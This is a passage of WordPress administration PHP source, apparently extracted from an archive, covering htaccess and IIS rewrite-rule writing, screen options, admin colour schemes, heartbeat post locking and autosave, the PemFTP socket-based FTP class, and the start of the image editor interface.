'# END ' . $marker) !== false) $state = false; if ( $state ) $result[] = $markerline; if (strpos($markerline, '# BEGIN ' . $marker) !== false) $state = true; } } return $result; } /** * {@internal Missing Short Description}} * * Inserts an array of strings into a file (.htaccess ), placing it between * BEGIN and END markers. Replaces existing marked info. Retains surrounding * data. Creates file if none exists. * * @since 1.5.0 * * @param unknown_type $filename * @param unknown_type $marker * @param unknown_type $insertion * @return bool True on write success, false on failure. */ function insert_with_markers( $filename, $marker, $insertion ) { if (!file_exists( $filename ) || is_writeable( $filename ) ) { if (!file_exists( $filename ) ) { $markerdata = ''; } else { $markerdata = explode( "\n", implode( '', file( $filename ) ) ); } if ( !$f = @fopen( $filename, 'w' ) ) return false; $foundit = false; if ( $markerdata ) { $state = true; foreach ( $markerdata as $n => $markerline ) { if (strpos($markerline, '# BEGIN ' . $marker) !== false) $state = false; if ( $state ) { if ( $n + 1 < count( $markerdata ) ) fwrite( $f, "{$markerline}\n" ); else fwrite( $f, "{$markerline}" ); } if (strpos($markerline, '# END ' . $marker) !== false) { fwrite( $f, "# BEGIN {$marker}\n" ); if ( is_array( $insertion )) foreach ( $insertion as $insertline ) fwrite( $f, "{$insertline}\n" ); fwrite( $f, "# END {$marker}\n" ); $state = true; $foundit = true; } } } if (!$foundit) { fwrite( $f, "\n# BEGIN {$marker}\n" ); foreach ( $insertion as $insertline ) fwrite( $f, "{$insertline}\n" ); fwrite( $f, "# END {$marker}\n" ); } fclose( $f ); return true; } else { return false; } } /** * Updates the htaccess file with the current rules if it is writable. * * Always writes to the file if it exists and is writable to ensure that we * blank out old rules. * * @since 1.5.0 */ function save_mod_rewrite_rules() { if ( is_multisite() ) return; global $wp_rewrite; $home_path = get_home_path(); $htaccess_file = $home_path.'.htaccess'; // If the file doesn't already exist check for write access to the directory and whether we have some rules. // else check for write access to the file. if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) { if ( got_mod_rewrite() ) { $rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() ); return insert_with_markers( $htaccess_file, 'WordPress', $rules ); } } return false; } /** * Updates the IIS web.config file with the current rules if it is writable. * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file. * * @since 2.8.0 * * @return bool True if web.config was updated successfully */ function iis7_save_url_rewrite_rules(){ if ( is_multisite() ) return; global $wp_rewrite; $home_path = get_home_path(); $web_config_file = $home_path . 'web.config'; // Using win_is_writable() instead of is_writable() because of a bug in Windows PHP if ( iis7_supports_permalinks() && ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) ) { $rule = $wp_rewrite->iis7_url_rewrite_rules(false, '', ''); if ( ! empty($rule) ) { return iis7_add_rewrite_rule($web_config_file, $rule); } else { return iis7_delete_rewrite_rule($web_config_file); } } return false; } /** * {@internal Missing Short Description}} * * @since 1.5.0 * * @param unknown_type $file */ function update_recently_edited( $file ) { $oldfiles = (array ) get_option( 'recently_edited' ); if ( $oldfiles ) { $oldfiles = array_reverse( $oldfiles ); $oldfiles[] = $file; $oldfiles = array_reverse( $oldfiles ); $oldfiles = array_unique( $oldfiles ); if ( 5 < count( $oldfiles )) array_pop( $oldfiles ); } else { $oldfiles[] = $file; } update_option( 'recently_edited', $oldfiles ); } /** * If siteurl, home or page_on_front changed, flush rewrite rules. * * @since 2.1.0 * * @param string $old_value * @param string $value */ function update_home_siteurl( $old_value, $value ) { if ( defined( "WP_INSTALLING" ) ) return; // If home changed, write rewrite rules to new location. flush_rewrite_rules(); } add_action( 'update_option_home', 'update_home_siteurl', 10, 2 ); add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 ); add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 ); /** * Shorten an URL, to be used as link text * * @since 1.2.0 * * @param string $url * @return string */ function url_shorten( $url ) { $short_url = str_replace( array( 'http://', 'www.' ), '', $url ); $short_url = untrailingslashit( $short_url ); if ( strlen( $short_url ) > 35 ) $short_url = substr( $short_url, 0, 32 ) . '…'; return $short_url; } /** * Resets global variables based on $_GET and $_POST * * This function resets global variables based on the names passed * in the $vars array to the value of $_POST[$var] or $_GET[$var] or '' * if neither is defined. * * @since 2.0.0 * * @param array $vars An array of globals to reset. */ function wp_reset_vars( $vars ) { for ( $i=0; $i<count( $vars ); $i += 1 ) { $var = $vars[$i]; global $$var; if ( empty( $_POST[$var] ) ) { if ( empty( $_GET[$var] ) ) $$var = ''; else $$var = $_GET[$var]; } else { $$var = $_POST[$var]; } } } /** * {@internal Missing Short Description}} * * @since 2.1.0 * * @param unknown_type $message */ function show_message($message) { if ( is_wp_error($message) ){ if ( $message->get_error_data() && is_string( $message->get_error_data() ) ) $message = $message->get_error_message() . ': ' . $message->get_error_data(); else $message = $message->get_error_message(); } echo "<p>$message</p>\n"; wp_ob_end_flush_all(); flush(); } function wp_doc_link_parse( $content ) { if ( !is_string( $content ) || empty( $content ) ) return array(); if ( !function_exists('token_get_all') ) return array(); $tokens = token_get_all( $content ); $count = count( $tokens ); $functions = array(); $ignore_functions = array(); for ( $t = 0; $t < $count - 2; $t++ ) { if ( ! is_array( $tokens[ $t ] ) ) { continue; } if ( T_STRING == $tokens[ $t ][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) { // If it's a function or class defined locally, there's not going to be any docs available if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) { $ignore_functions[] = $tokens[$t][1]; } // Add this to our stack of unique references $functions[] = $tokens[$t][1]; } } $functions = array_unique( $functions ); sort( $functions ); /** * Filter the list of functions/classes to be ignored from the documentation lookup. * * @since 2.8.0 * * @param array $ignore_functions Functions/Classes to be ignored. */ $ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions ); $ignore_functions = array_unique( $ignore_functions ); $out = array(); foreach ( $functions as $function ) { if ( in_array( $function, $ignore_functions ) ) continue; $out[] = $function; } return $out; } /** * Saves option for number of rows when listing posts, pages, comments, etc. * * @since 2.8.0 */ function set_screen_options() { if ( isset($_POST['wp_screen_options']) && is_array($_POST['wp_screen_options']) ) { check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' ); if ( !$user = wp_get_current_user() ) return; $option = $_POST['wp_screen_options']['option']; $value = $_POST['wp_screen_options']['value']; if ( $option != sanitize_key( $option ) ) return; $map_option = $option; $type = str_replace('edit_', '', $map_option); $type = str_replace('_per_page', '', $type); if ( in_array( $type, get_taxonomies() ) ) $map_option = 'edit_tags_per_page'; elseif ( in_array( $type, get_post_types() ) ) $map_option = 'edit_per_page'; else $option = str_replace('-', '_', $option); switch ( $map_option ) { case 'edit_per_page': case 'users_per_page': case 'edit_comments_per_page': case 'upload_per_page': case 'edit_tags_per_page': case 'plugins_per_page': // Network admin case 'sites_network_per_page': case 'users_network_per_page': case 'site_users_network_per_page': case 'plugins_network_per_page': case 'themes_network_per_page': case 'site_themes_network_per_page': $value = (int) $value; if ( $value < 1 || $value > 999 ) return; break; default: $screen_option = false; if ( '_page' === substr( $option, -5 ) || 'layout_columns' === $option ) { /** * Filters a screen option value before it is set. * * The filter can also be used to modify non-standard [items]_per_page * settings. See the parent function for a full list of standard options. * * Returning false to the filter will skip saving the current option. * * @since 2.8.0 * @since 5.4.2 Only applied to options ending with '_page', * or the 'layout_columns' option. * * @see set_screen_options() * * @param mixed $screen_option The value to save instead of the option value. * Default false (to skip saving the current option). * @param string $option The option name. * @param int $value The option value. */ $screen_option = apply_filters( 'set-screen-option', $screen_option, $option, $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } /** * Filter a screen option value before it is set. * * The dynamic portion of the hook, `$option`, refers to the option name. * * Returning false to the filter will skip saving the current option. * * @since 5.4.2 * * @see set_screen_options() * * @param mixed $screen_option The value to save instead of the option value. * Default false (to skip saving the current option). * @param string $option The option name. * @param int $value The option value. */ $value = apply_filters( "set_screen_option_{$option}", $screen_option, $option, $value ); if ( false === $value ) return; break; } update_user_meta($user->ID, $option, $value); wp_safe_redirect( remove_query_arg( array('pagenum', 'apage', 'paged'), wp_get_referer() ) ); exit; } } /** * Check if rewrite rule for WordPress already exists in the IIS 7+ configuration file * * @since 2.8.0 * * @return bool * @param string $filename The file path to the configuration file */ function iis7_rewrite_rule_exists($filename) { if ( ! file_exists($filename) ) return false; if ( ! class_exists('DOMDocument') ) return false; $doc = new DOMDocument(); if ( $doc->load($filename) === false ) return false; $xpath = new DOMXPath($doc); $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]'); if ( $rules->length == 0 ) return false; else return true; } /** * Delete WordPress rewrite rule from web.config file if it exists there * * @since 2.8.0 * * @param string $filename Name of the configuration file * @return bool */ function iis7_delete_rewrite_rule($filename) { // If configuration file does not exist then rules also do not exist so there is nothing to delete if ( ! file_exists($filename) ) return true; if ( ! class_exists('DOMDocument') ) return false; $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc -> load($filename) === false ) return false; $xpath = new DOMXPath($doc); $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]'); if ( $rules->length > 0 ) { $child = $rules->item(0); $parent = $child->parentNode; $parent->removeChild($child); $doc->formatOutput = true; saveDomDocument($doc, $filename); } return true; } /** * Add WordPress rewrite rule to the IIS 7+ configuration file. * * @since 2.8.0 * * @param string $filename The file path to the configuration file * @param string $rewrite_rule The XML fragment with URL Rewrite rule * @return bool */ function iis7_add_rewrite_rule($filename, $rewrite_rule) { if ( ! class_exists('DOMDocument') ) return false; // If configuration file does not exist then we create one. if ( ! file_exists($filename) ) { $fp = fopen( $filename, 'w'); fwrite($fp, '<configuration/>'); fclose($fp); } $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc->load($filename) === false ) return false; $xpath = new DOMXPath($doc); // First check if the rule already exists as in that case there is no need to re-add it $wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]'); if ( $wordpress_rules->length > 0 ) return true; // Check the XPath to the rewrite rule and create XML nodes if they do not exist $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules'); if ( $xmlnodes->length > 0 ) { $rules_node = $xmlnodes->item(0); } else { $rules_node = $doc->createElement('rules'); $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite'); if ( $xmlnodes->length > 0 ) { $rewrite_node = $xmlnodes->item(0); $rewrite_node->appendChild($rules_node); } else { $rewrite_node = $doc->createElement('rewrite'); $rewrite_node->appendChild($rules_node); $xmlnodes = $xpath->query('/configuration/system.webServer'); if ( $xmlnodes->length > 0 ) { $system_webServer_node = $xmlnodes->item(0); $system_webServer_node->appendChild($rewrite_node); } else { $system_webServer_node = $doc->createElement('system.webServer'); $system_webServer_node->appendChild($rewrite_node); $xmlnodes = $xpath->query('/configuration'); if ( $xmlnodes->length > 0 ) { $config_node = $xmlnodes->item(0); $config_node->appendChild($system_webServer_node); } else { $config_node = $doc->createElement('configuration'); $doc->appendChild($config_node); $config_node->appendChild($system_webServer_node); } } } } $rule_fragment = $doc->createDocumentFragment(); $rule_fragment->appendXML($rewrite_rule); $rules_node->appendChild($rule_fragment); $doc->encoding = "UTF-8"; $doc->formatOutput = true; saveDomDocument($doc, $filename); return true; } /** * Saves the XML document into a file * * @since 2.8.0 * * @param DOMDocument $doc * @param string $filename */ function saveDomDocument($doc, $filename) { $config = $doc->saveXML(); $config = preg_replace("/([^\r])\n/", "$1\r\n", $config); $fp = fopen($filename, 'w'); fwrite($fp, $config); fclose($fp); } /** * Display the default admin color scheme picker (Used in user-edit.php) * * @since 3.0.0 */ function admin_color_scheme_picker( $user_id ) { global $_wp_admin_css_colors; ksort( $_wp_admin_css_colors ); if ( isset( $_wp_admin_css_colors['fresh'] ) ) { // Set Default ('fresh') and Light should go first. $_wp_admin_css_colors = array_filter( array_merge( array( 'fresh' => '', 'light' => '' ), $_wp_admin_css_colors ) ); } $current_color = get_user_option( 'admin_color', $user_id ); if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) { $current_color = 'fresh'; } ?> <fieldset id="color-picker" class="scheme-list"> <legend class="screen-reader-text"><span><?php _e( 'Admin Color Scheme' ); ?></span></legend> <?php wp_nonce_field( 'save-color-scheme', 'color-nonce', false ); foreach ( $_wp_admin_css_colors as $color => $color_info ) : ?> <div class="color-option <?php echo ( $color == $current_color ) ? 'selected' : ''; ?>"> <input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> /> <input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" /> <input type="hidden" class="icon_colors" value="<?php echo esc_attr( json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" /> <label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label> <table class="color-palette"> <tr> <?php foreach ( $color_info->colors as $html_color ) { ?> <td style="background-color: <?php echo esc_attr( $html_color ); ?>"> </td> <?php } ?> </tr> </table> </div> <?php endforeach; ?> </fieldset> <?php } function wp_color_scheme_settings() { global $_wp_admin_css_colors; $color_scheme = get_user_option( 'admin_color' ); // It's possible to have a color scheme set that is no longer registered. if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) { $color_scheme = 'fresh'; } if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) { $icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors; } elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) { $icon_colors = $_wp_admin_css_colors['fresh']->icon_colors; } else { // Fall back to the default set of icon colors if the default scheme is missing. $icon_colors = array( 'base' => '#999', 'focus' => '#2ea2cc', 'current' => '#fff' ); } echo '<script type="text/javascript">var _wpColorScheme = ' . json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n"; } add_action( 'admin_head', 'wp_color_scheme_settings' ); function _ipad_meta() { if ( wp_is_mobile() ) { ?> <meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=1"> <?php } } add_action('admin_head', '_ipad_meta'); /** * Check lock status for posts displayed on the Posts screen * * @since 3.6.0 */ function wp_check_locked_posts( $response, $data, $screen_id ) { $checked = array(); if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) { foreach ( $data['wp-check-locked-posts'] as $key ) { if ( ! $post_id = absint( substr( $key, 5 ) ) ) continue; if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) && current_user_can( 'edit_post', $post_id ) ) { $send = array( 'text' => sprintf( __( '%s is currently editing' ), $user->display_name ) ); if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) ) $send['avatar_src'] = $matches[1]; $checked[$key] = $send; } } } if ( ! empty( $checked ) ) $response['wp-check-locked-posts'] = $checked; return $response; } add_filter( 'heartbeat_received', 'wp_check_locked_posts', 10, 3 ); /** * Check lock status on the New/Edit Post screen and refresh the lock * * @since 3.6.0 */ function wp_refresh_post_lock( $response, $data, $screen_id ) { if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) { $received = $data['wp-refresh-post-lock']; $send = array(); if ( ! $post_id = absint( $received['post_id'] ) ) return $response; if ( ! current_user_can('edit_post', $post_id) ) return $response; if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) ) { $error = array( 'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name ) ); if ( $avatar = get_avatar( $user->ID, 64 ) ) { if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) $error['avatar_src'] = $matches[1]; } $send['lock_error'] = $error; } else { if ( $new_lock = wp_set_post_lock( $post_id ) ) $send['new_lock'] = implode( ':', $new_lock ); } $response['wp-refresh-post-lock'] = $send; } return $response; } add_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 ); /** * Check nonce expiration on the New/Edit Post screen and refresh if needed * * @since 3.6.0 */ function wp_refresh_post_nonces( $response, $data, $screen_id ) { if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) { $received = $data['wp-refresh-post-nonces']; $response['wp-refresh-post-nonces'] = array( 'check' => 1 ); if ( ! $post_id = absint( $received['post_id'] ) ) return $response; if ( ! current_user_can( 'edit_post', $post_id ) || empty( $received['post_nonce'] ) ) return $response; if ( 2 === wp_verify_nonce( $received['post_nonce'], 'update-post_' . $post_id ) ) { $response['wp-refresh-post-nonces'] = array( 'replace' => array( 'getpermalinknonce' => wp_create_nonce('getpermalink'), 'samplepermalinknonce' => wp_create_nonce('samplepermalink'), 'closedpostboxesnonce' => wp_create_nonce('closedpostboxes'), '_ajax_linking_nonce' => wp_create_nonce( 'internal-linking' ), '_wpnonce' => wp_create_nonce( 'update-post_' . $post_id ), ), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ); } } return $response; } add_filter( 'heartbeat_received', 'wp_refresh_post_nonces', 10, 3 ); /** * Disable suspension of Heartbeat on the Add/Edit Post screens. * * @since 3.8.0 * * @param array $settings An array of Heartbeat settings. * @return array Filtered Heartbeat settings. */ function wp_heartbeat_set_suspension( $settings ) { global $pagenow; if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) { $settings['suspension'] = 'disable'; } return $settings; } add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' ); /** * Autosave with heartbeat * * @since 3.9 */ function heartbeat_autosave( $response, $data ) { if ( ! empty( $data['wp_autosave'] ) ) { $saved = wp_autosave( $data['wp_autosave'] ); if ( is_wp_error( $saved ) ) { $response['wp_autosave'] = array( 'success' => false, 'message' => $saved->get_error_message() ); } elseif ( empty( $saved ) ) { $response['wp_autosave'] = array( 'success' => false, 'message' => __( 'Error while saving.' ) ); } else { /* translators: draft saved date format, see http://php.net/date */ $draft_saved_date_format = __( 'g:i:s a' ); /* translators: %s: date and time */ $response['wp_autosave'] = array( 'success' => true, 'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ) ); } } return $response; } // Run later as we have to set DOING_AUTOSAVE for back-compat add_filter( 'heartbeat_received', 'heartbeat_autosave', 500, 2 ); class-ftp-pure.php000077700000012545151514577750010161 0ustar00<?php /** * PemFTP - A Ftp implementation in pure PHP * * @package PemFTP * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link http://www.phpclasses.org/browse/package/1743.html Site * @license LGPL http://www.opensource.org/licenses/lgpl-license.html */ /** * FTP implementation using fsockopen to connect. * * @package PemFTP * @subpackage Pure * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link http://www.phpclasses.org/browse/package/1743.html Site * @license LGPL http://www.opensource.org/licenses/lgpl-license.html */ class ftp extends ftp_base { function ftp($verb=FALSE, $le=FALSE) { $this->__construct($verb, $le); } function __construct($verb=FALSE, $le=FALSE) { parent::__construct(false, $verb, $le); } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Private functions --> // <!-- --------------------------------------------------------------------------------------- --> function _settimeout($sock) { if(!@stream_set_timeout($sock, $this->_timeout)) { $this->PushError('_settimeout','socket set send timeout'); $this->_quit(); return FALSE; } return TRUE; } function _connect($host, $port) { $this->SendMSG("Creating socket"); $sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout); if (!$sock) { $this->PushError('_connect','socket connect failed', $errstr." (".$errno.")"); return FALSE; } $this->_connected=true; return $sock; } function _readmsg($fnction="_readmsg"){ if(!$this->_connected) { $this->PushError($fnction, 'Connect first'); return FALSE; } $result=true; $this->_message=""; $this->_code=0; $go=true; do { $tmp=@fgets($this->_ftp_control_sock, 512); if($tmp===false) { $go=$result=false; $this->PushError($fnction,'Read failed'); } else { $this->_message.=$tmp; if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false; } } while($go); if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; $this->_code=(int)$regs[1]; return $result; } function _exec($cmd, $fnction="_exec") { if(!$this->_ready) { $this->PushError($fnction,'Connect first'); return FALSE; } if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; $status=@fputs($this->_ftp_control_sock, $cmd.CRLF); if($status===false) { $this->PushError($fnction,'socket write failed'); return FALSE; } $this->_lastaction=time(); if(!$this->_readmsg($fnction)) return FALSE; return TRUE; } function _data_prepare($mode=FTP_ASCII) { if(!$this->_settype($mode)) return FALSE; if($this->_passive) { if(!$this->_exec("PASV", "pasv")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message)); $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout); if(!$this->_ftp_data_sock) { $this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")"); $this->_data_close(); return FALSE; } else $this->_ftp_data_sock; } else { $this->SendMSG("Only passive connections available!"); return FALSE; } return TRUE; } function _data_read($mode=FTP_ASCII, $fp=NULL) { if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Only passive connections available!"); return FALSE; } while (!feof($this->_ftp_data_sock)) { $block=fread($this->_ftp_data_sock, $this->_ftp_buff_size); if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); else $out.=$block; } return $out; } function _data_write($mode=FTP_ASCII, $fp=NULL) { if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Only passive connections available!"); return FALSE; } if(is_resource($fp)) { while(!feof($fp)) { $block=fread($fp, $this->_ftp_buff_size); if(!$this->_data_write_block($mode, $block)) return false; } } elseif(!$this->_data_write_block($mode, $fp)) return false; return TRUE; } function _data_write_block($mode, $block) { if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); do { if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) { $this->PushError("_data_write","Can't write to socket"); return FALSE; } $block=substr($block, $t); } while(!empty($block)); return true; } function _data_close() { @fclose($this->_ftp_data_sock); $this->SendMSG("Disconnected data from remote host"); return TRUE; } function _quit($force=FALSE) { if($this->_connected or $force) { @fclose($this->_ftp_control_sock); $this->_connected=false; $this->SendMSG("Socket closed"); } } } ?> image-edit.php000077700000071722151514577750007323 0ustar00<?php /** * WordPress Image Editor * * @package WordPress * @subpackage Administration */ function wp_image_editor($post_id, $msg = false) { $nonce = wp_create_nonce("image_editor-$post_id"); $meta = wp_get_attachment_metadata($post_id); $thumb = image_get_intermediate_size($post_id, 'thumbnail'); $sub_sizes = isset($meta['sizes']) && is_array($meta['sizes']); $note = ''; if ( isset( $meta['width'], $meta['height'] ) ) $big = max( $meta['width'], $meta['height'] ); else die( __('Image data does not exist. Please re-upload the image.') ); $sizer = $big > 400 ? 400 / $big : 1; $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); $can_restore = false; if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) $can_restore = $backup_sizes['full-orig']['file'] != basename( $meta['file'] ); if ( $msg ) { if ( isset($msg->error) ) $note = "<div class='error'><p>$msg->error</p></div>"; elseif ( isset($msg->msg) ) $note = "<div class='updated'><p>$msg->msg</p></div>"; } ?> <div class="imgedit-wrap"> <div id="imgedit-panel-<?php echo $post_id; ?>"> <div class="imgedit-settings"> <div class="imgedit-group"> <div class="imgedit-group-top"> <h3><?php _e( 'Scale Image' ); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3> <div class="imgedit-help"> <p><?php _e('You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.'); ?></p> </div> <?php if ( isset( $meta['width'], $meta['height'] ) ): ?> <p><?php printf( __('Original dimensions %s'), $meta['width'] . ' × ' . $meta['height'] ); ?></p> <?php endif ?> <div class="imgedit-submit"> <span class="nowrap"><input type="text" id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1)" style="width:4em;" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" /> × <input type="text" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0)" style="width:4em;" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" /> <span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>">!</span></span> <input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary" value="<?php esc_attr_e( 'Scale' ); ?>" /> </div> </div> </div> <?php if ( $can_restore ) { ?> <div class="imgedit-group"> <div class="imgedit-group-top"> <h3><a onclick="imageEdit.toggleHelp(this);return false;" href="#"><?php _e('Restore Original Image'); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></a></h3> <div class="imgedit-help"> <p><?php _e('Discard any changes and restore the original image.'); if ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) echo ' '.__('Previously edited copies of the image will not be deleted.'); ?></p> <div class="imgedit-submit"> <input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> /> </div> </div> </div> </div> <?php } ?> <div class="imgedit-group"> <div class="imgedit-group-top"> <h3><?php _e('Image Crop'); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3> <div class="imgedit-help"> <p><?php _e('To crop the image, click on it and drag to make your selection.'); ?></p> <p><strong><?php _e('Crop Aspect Ratio'); ?></strong><br /> <?php _e('The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc.'); ?></p> <p><strong><?php _e('Crop Selection'); ?></strong><br /> <?php _e('Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings.'); ?></p> </div> </div> <p> <?php _e('Aspect ratio:'); ?> <span class="nowrap"> <input type="text" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" style="width:3em;" /> : <input type="text" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" style="width:3em;" /> </span> </p> <p id="imgedit-crop-sel-<?php echo $post_id; ?>"> <?php _e('Selection:'); ?> <span class="nowrap"> <input type="text" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>)" style="width:4em;" /> × <input type="text" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>)" style="width:4em;" /> </span> </p> </div> <?php if ( $thumb && $sub_sizes ) { $thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 ); ?> <div class="imgedit-group imgedit-applyto"> <div class="imgedit-group-top"> <h3><?php _e('Thumbnail Settings'); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3> <p class="imgedit-help"><?php _e('You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image.'); ?></p> </div> <p> <img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" /> <br /><?php _e('Current thumbnail'); ?> </p> <p id="imgedit-save-target-<?php echo $post_id; ?>"> <strong><?php _e('Apply changes to:'); ?></strong><br /> <label class="imgedit-label"> <input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" /> <?php _e('All image sizes'); ?></label> <label class="imgedit-label"> <input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" /> <?php _e('Thumbnail'); ?></label> <label class="imgedit-label"> <input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" /> <?php _e('All sizes except thumbnail'); ?></label> </p> </div> <?php } ?> </div> <div class="imgedit-panel-content"> <?php echo $note; ?> <div class="imgedit-menu"> <div onclick="imageEdit.crop(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-crop disabled" title="<?php esc_attr_e( 'Crop' ); ?>"></div><?php // On some setups GD library does not provide 